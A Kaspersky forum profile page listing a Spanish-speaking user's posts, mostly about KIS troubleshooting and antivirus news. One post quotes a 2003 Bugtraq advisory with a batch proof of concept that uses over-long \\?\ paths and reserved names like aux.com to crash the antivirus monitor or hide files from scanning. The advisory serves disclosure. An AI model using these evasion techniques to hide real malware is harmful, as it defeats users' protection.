Jump to content

arquezvall2005

Members
  • Content Count

    108
  • Joined

  • Last visited

1 Follower

About arquezvall2005

  • Rank
    Cadet

Recent Profile Visitors

1,006 profile views
  1. Si tienes razón algunos dan ideas como yo y otras dan problemas también como yo, pero tu teniendo la respuesta (quien sabe desde cuando…???) para mejorar los productos Kaspersky (todo lo expuesto arriba) no la enviaste para fortalecer el KIS u otras versiones… que paso ahí… solo ayudas a los del foro pero teniendo el conocimiento adecuado para mejorar el antivirus no lo hiciste…cuanta mas información o conocimientos tienes que podrían mejorar los productos KAV y no la reflejas a las personas pertinentes… Textualmente pusiste: Que archivo?? el jbkook.dll? este no debe ser metido a la zona de confianza... nadie acá ha sugerido eso... Así que no se me salga por la tangente…
  2. Acaso en el foro no hay alguien encargado de esos tramites... yo pense que ese era uno de los motivos por la cual existia el foro de kaspersky...???? Saludos...
  3. Que mala nota men... es la misma PC que revise yo con el KIS.... fijense en las capturas de pantalla; y es uno de los mismo supuesto virus que estaban instalado en la PC; revisen el vinculo de mi publicado... que mala onda... me enoja esta situacion... ¿Que habra pasado?????????? http://forum.kaspersky.com/index.php?showtopic=30689 Saludos...
  4. En una web site logre encontrar un links para descargar una aplicacion que dice ser kaspersky internet security 6.... portable... la baje e instale y al parecer no es un producto licenciado por los LAB KAV.... Saludos...
  5. He escuchados algunos rumores de la existencia de un KIS portable USB, me gustaria saber al respecto... Existe realmente...??? O donde se puede descargar...?? Esta en face de construccion...??? Saludos...
  6. En un foro me facilitaron estos datos, y me gustaria saber al respecto: http://www.hispasec.com/unaaldia/3027 06/02/2007 Kaspersky reconoce que no puede hacer milagros En unas honestas declaraciones, Natalya Kaspersky, consejera delegada de la compañía especializada en sistemas antivirus, reconoce que necesita de la ayuda de las fuerzas del orden internacionales para proteger a los usuarios. Según ellos, los tiempos en los que se podía controlar la situación con los antivirus pertenecen al pasado. ComputerWorld recoge unas sorprendentes declaraciones de una de las compañías antivirus más reconocidas mundialmente. En ellas piden la cooperación de la policía internacional: "No tenemos las soluciones. Pensamos que era posible realizar antivirus y eso ofreció una protección adecuada. Ya no es así". "Solucionar el problema está más allá de las capacidades de los fabricantes de productos de seguridad en solitario. Se necesitan esfuerzos coordinados entre los países". Desde Kaspersky también reconocen que están abrumados. "La compañía tiene a 50 ingenieros analizando el nuevo malware y buscando formas de bloquearlo, pero con 200 nuevas muestras por día, y en aumento, el trabajo se hace arduo". "Ninguna compañía antivirus puede venir y decirte que puede manejarlo todo. Consideramos responsable hacerlo saber a la gente de forma clara." El "Center for Strategic and International Studies" (que asesora a gobiernos en cuestión de seguridad), y una comisión federal de comercio se unirán a Kaspersky para hacer una llamada a las fuerzas del orden, para que se involucren más en la lucha contra los creadores y distribuidores de malware. Intentarán llega a acuerdos internacionales para crear las condiciones adecuadas que permitan perseguir a los criminales a través de las fronteras". Reconocen que el éxito de la policía en este sentido ha sido limitado, con apenas 100 detenciones por año. "Sólo los estúpidos se dejan coger. A los listos es muy complicado encontrarles", afirma Kaspersky. Por último, Kaspersky añade: "El software destinado a bloquear el malware es efectivo, pero no puede parar todos los ataques. Somos como la policía, nos perdemos muchos casos pero hacemos lo que podemos. Intentamos prevenir, pero no podemos hacer milagros". Kaspersky asume así la nueva situación vírica mundial de forma honesta y responsable. Opina sobre esta noticia: http://www.hispasec.com/unaaldia/3027/comentar Más Información: Call the cops: We're not winning against cybercriminals http://www.computerworld.com/action/articl...ticleId=9010041 Sergio de los Santos ssantos@hispasec.com Y este otro, que viejo: http://security.nnov.ru/docs4081.html From: James C Slora Jr <Jim.Slora_(at)_phra.com> Date: 15.02.2003 Subject: FW: Re[2]: SECURITY.NNOV: Kaspersky Antivirus DoS Dear Symantec - I will rely on the Bugtraq moderator to help steer this process appropriately in the public forum (delay post, etc) since I am inexperienced in these matters. There appears to possibly be three DoS vulnerabilities in at least one Symantec AntiVirus product. Initial report from Zaraza indicated problems in Kaspersky AV, but the problem also appears to affect Symantec AV CE 8.00.9374 on Win2K Server SP3. I cannot do thorough testing, but I believe I've confirmed the results on my PC twice. I'm not a security researcher, so someone else needs to look at the potential problem to confirm this. I've been asked by a Zaraza to post this to bugtraq. I wanted to let Symantec know first if possible, but I am posting to Bugtraq simultaneously because if I found this based on Zaraza's work, others must surely already be aware of it (if the problem is genuine). There has been no independent confirmation of my results by any qualified security researcher as far as I know. - Jim 3APA3A> Dear James C Slora Jr, 3APA3A> It could be nice if you send a copy of this message to bugtraq. 3APA3A> --Tuesday, February 11, 2003, 9:24:27 PM, you wrote to 3APA3A@SECURITY.NNOV.RU: JCSJ> Privet, zaraza JCSJ> 1, 2 and 3 seem to apply to Symantec AntiVirus 8.00.9374 as well. I'd rather JCSJ> let someone more qualified and respected (such as yourself) check this out JCSJ> before posting to Bugtraq, though. JCSJ> after exploit for 1 and 2, SAV user interface runs OK, but both realtime and JCSJ> manual scanning silently fail. Exploit for 3 appears to give the same result JCSJ> as your Kaspersky tests. I tried 3 first, then 1-2. JCSJ> - Jim JCSJ> -----Original Message----- JCSJ> From: 3APA3A [mailto:3APA3A@SECURITY.NNOV.RU] JCSJ> Sent: Tuesday, February 11, 2003 05:10 JCSJ> To: bugtraq@SECURITY.NNOV.RU; bugtraq@securityfocus.com JCSJ> Subject: SECURITY.NNOV: Kaspersky Antivirus DoS JCSJ> Title: Kaspersky Antivirus DoS JCSJ> Affected: Kaspersky Antivirus 4.0.9.0 JCSJ> (Server and Workstation version on JCSJ> Windows NT 4.0 and Windows 2000). JCSJ> Author: ZARAZA <3APA3A@SECURITY.NNOV.RU> JCSJ> Vendor: Kaspersky Lab JCSJ> Date: January, 30 2003 JCSJ> Risk: Average JCSJ> Exploitable: Yes JCSJ> Remote: Yes (for server versions) JCSJ> Vendor Notified: January, 30 2003 JCSJ> I. Introduction: JCSJ> Kaspersky Antivirus (KAV) is a family of antiviral products. JCSJ> II. Vulnerability: JCSJ> Few vulnerabilities were identified. Most serious allows user to crash JCSJ> antiviral server remotely (write access to any directory on remote JCSJ> server is required). JCSJ> 1. Long path crash JCSJ> 2. Long path prevents malware from detection JCSJ> 3. Special name prevents malware from detection JCSJ> III. Details: JCSJ> 1. Long path crash JCSJ> NTFS file system allows to create paths of almost unlimited length. But JCSJ> Windows API does not allow path longer than 256 bytes. To prevent JCSJ> Windows API from checking requested path \\?\ prefix may be used to JCSJ> filename. This is documented feature of Windows API. Paths longer than JCSJ> 256 characters will cause KAV monitor service to crash or hang with 100% JCSJ> CPU usage. Possibility of code execution is not researched. JCSJ> 2. Long path prevents malware from detection JCSJ> Long path will also prevent malware from detection by antiviral scanner. JCSJ> 3. Special name prevents malware from detection JCSJ> It's possible to create NTFS file with name like aux.vbs or aux.com. JCSJ> Malware in this file will not be detected. JCSJ> IV. Exploit: JCSJ> This .bat file demonstrates vulnerability. JCSJ> 1,2 Long path crash & Long path prevents malware from detection JCSJ> @echo off JCSJ> SET JCSJ> A=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA JCSJ> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA JCSJ> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA JCSJ> mkdir \\?\c:\%A% JCSJ> mkdir \\?\c:\%A%\%A% JCSJ> mkdir \\?\c:\%A%\%A%\%A% JCSJ> mkdir \\?\c: \%A%\%A%\%A%\%A% JCSJ> mkdir \\?\c: \%A%\%A%\%A%\%A%\%A% JCSJ> mkdir \\?\c: \%A%\%A%\%A%\%A%\%A%\ %A% JCSJ> echo X5O!P%%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS- TEST-FILE!$H+H* >>\\?\c: \%A%\%A%\%A%\%A%\%A%\ %A%\%A%.com JCSJ> 3. Special name prevents malware from detection JCSJ> echo X5O!P%%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS- TEST-FILE!$H+H* >>\\?\c:\aux.com JCSJ> V. Vendor JCSJ> No response from vendor. JCSJ> -- JCSJ> http://www.security.nnov.ru JCSJ> /\_/\ JCSJ> { , . } |\ JCSJ> +--oQQo->{ ^ }<-----+ \ JCSJ> | ZARAZA U 3APA3A } JCSJ> +-------------o66o--+ / JCSJ> |/ JCSJ> You know my name - look up my number (The Beatles) Saludos...
  7. Feliz año nuevo...!!! Mira... intenta poner bien la hora en tu sistema... has doble clic en el reloj que aparece en la barra de tarea del escritorio y desactiva esta opcion: Saludos.
  8. No sé, si estoy equivocado y si es asi corrijanme: Tengo entendido que el KIS viene o trae la base viral incluida en el instalador; esto lo observe en el correo donde todos hemos bajado las versiones betas del KIS/KAV. Ejemplo: El instalador del KIS 6.0.0.303 media 15 mb con la base viral, pero sin la base viral (nb) media 8.90 mega. Asi que cuando uno descarga un producto de kaspersky: http://www.kaspersky.com/ lo baja con la base viral ya incluida en su instalador, cada version nueva lleva las actualizaciones virales viejas y nuevas acumuladas. Asi que el KIS detectara cualquier virus que se le interponga. Miren por ejemplo la captura de pantalla del KIS para Vista: Saludos.
  9. Excelente diria yo....!!!!!!!!!!!!!!!!!!!!!!!! En una oportunidad, tuve el placer de desintalar el Panda de la PC de un amigo, porque la licencia ya tenia 2 meses de haberse vencido, sorpresa fue la nuestra cuando el KIS que acababa de instalar, estaba detectando una docenas de troyanos y Adware, y todo esto sin a ver actualizado el KIS... pero nunca pude constatar si los troyanos se habian instalados antes de vencerse la licencia de Panda o despues... pero ahora estoy seguro que fue antes de vencerse. Saludos a toda la people que utilizamos el KIS/KAV.
  10. RadarpSPMaster, eres un moustro, tenias toda la razon, esa es la solucion... pues antes de hacer lo que tu me sugeriste, formatie la particion D: y active el scan full y se me reinicio la PC, entonces hice lo que me indicastes y me funciono...!!! Gracias men.
  11. El escaneo de inicio ya se ejecuta correctamente si apagar la PC, pero el scan full sigue igual y he observado que la PC se reinicia cuando el KIS esta examinando la particion D: en el Volumen System Restor. Ya le pase un scandisk y un chkdsk al volumen D: y aparentemente no encontro ningun error. ¿Podria ser que en la Particion D: halla quedado algun registro del problema que tuve cuando windows estuvo inestable, antes de formatear y por eso el problema? Porque no creo que sea un virus, ya que el KIS sigue con todas sus funciones al 100%, si alguien tiene alguna idea al respecto favor comentarla, tal entre todos me puedan darme una solucion factible. La unica iluminacion que tengo es formatear la particion D: , pero esto tendre que hacerlo cuando respalde toda la info que mantengo en esa unidad. Saludos.
  12. Ahora que me acuerdo, lo unico que hice diferente en esta oportunidad, es que actualice mi windosw con un programa desde un CD: http://www.laneros.com/showpost.php?p=1150445&postcount=35 A ver si alguien sabe algo al respecto de este problema, que tal vez sea por incompatibilidad, o alguna otra cosa, ya que al instalar las actualizaciones atravez de este programa, me sugiere que desactive cualquier antivirus que tenga en mi PC o antispywares. Saludos.
  13. Hace unos dias mi windows se volvio inestable, Razon no la sé, tuve que formatear he instalar todo desde cero, por ultimo instale el KIS 6.0.0.303 que lo descargue de la pagina oficial. Despues de reiniciar la PC y mucho antes de ponerle la configuracion que siempre le pongo al KIS, se me ocurrio desfragmentar el disco duro, y en el momento que lo estaba haciendo, se comenzo a ejecutar el escaneo de archivos de inicio, y cuando iva casi por terminar se reinicio la PC. Ahora cada vez y cuando que activo cualquier escaner del KIS se reincia la PC y cuando voy a ver el KIS dice escaneo fallido. ¿A que se debera esta anormalidad? Me molesta el no poder escanear mi PC a mi gusto y antonjo. Pero si, el kis hace su trabajo aun con ese detallito, que no se a que se deba. Si alguien me puede dar una manito. Saludos y gracias.
×
×
  • Create New...

Important Information

We use cookies to make your experience of our websites better. By using and further navigating this website you accept this. Detailed information about the use of cookies on this website is available by clicking on more information.